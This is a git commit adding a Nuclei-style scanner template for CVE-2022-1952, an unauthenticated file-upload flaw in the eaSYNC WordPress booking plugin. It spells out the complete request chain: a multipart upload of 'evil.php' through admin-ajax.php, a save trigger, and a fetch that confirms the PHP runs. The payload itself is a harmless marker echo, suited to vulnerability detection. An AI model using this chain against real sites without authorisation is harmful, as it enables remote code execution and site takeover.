Added template for CVE-2022-1952

patch-1
Aman 2022-10-29 04:20:01 -07:00
parent a93db3021e
commit ae502c0bb7
1 changed files with 72 additions and 0 deletions

View File

@ -0,0 +1,72 @@
id: CVE-2022-1952
info:
name: eaSYNC < 1.1.16 - Unauthenticated Arbitrary File Upload
author: theamanrawat
severity: critical
description: |
The Free Booking Plugin for Hotels, Restaurant and Car Rental WordPress plugin before 1.1.16 suffers from insufficient input validation which leads to arbitrary file upload and subsequently to remote code execution. An AJAX action accessible to unauthenticated users is affected by this issue. An allowlist of valid file extensions is defined but is not used during the validation steps.
reference:
- https://wpscan.com/vulnerability/ecf61d17-8b07-4cb6-93a8-64c2c4fbbe04
- https://wordpress.org/plugins/easync-booking/
- https://nvd.nist.gov/vuln/detail/CVE-2022-1952
classification:
cve-id: CVE-2022-1952
metadata:
verified: true
tags: cve,cve2022,wordpress,wp-plugin,wp,file-upload,easync-booking,uauth
requests:
- raw:
- |
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: {{Hostname}}
Cookie: PHPSESSID=a0d5959357e474aef655313f69891f37
Content-Type: multipart/form-data; boundary=------------------------98efee55508c5059
--------------------------98efee55508c5059
Content-Disposition: form-data; name="action"
easync_session_store
--------------------------98efee55508c5059
Content-Disposition: form-data; name="type"
car
--------------------------98efee55508c5059
Content-Disposition: form-data; name="with_driver"
self-driven
--------------------------98efee55508c5059
Content-Disposition: form-data; name="driver_license_image2"; filename="evil.php"
Content-Type: application/octet-stream
<?php echo 'FILE-UPLOAD-SUCCESS';?>
--------------------------98efee55508c5059--
- |
GET /wp-admin/admin-ajax.php?action=easync_success_and_save HTTP/1.1
Host: {{Hostname}}
Cookie: PHPSESSID=a0d5959357e474aef655313f69891f37
- |
GET /wp-content/uploads/{{filename}}.php HTTP/1.1
Host: {{Hostname}}
req-condition: true
matchers:
- type: dsl
dsl:
- contains(all_headers_3, "text/html")
- status_code_3 == 200
- contains(body_3, 'FILE-UPLOAD-SUCCESS')
condition: and
extractors:
- type: regex
name: filename
group: 1
regex:
- 'wordpress\\\/wp-content\\\/uploads\\\/([0-9a-zA-Z]+).php'
internal: true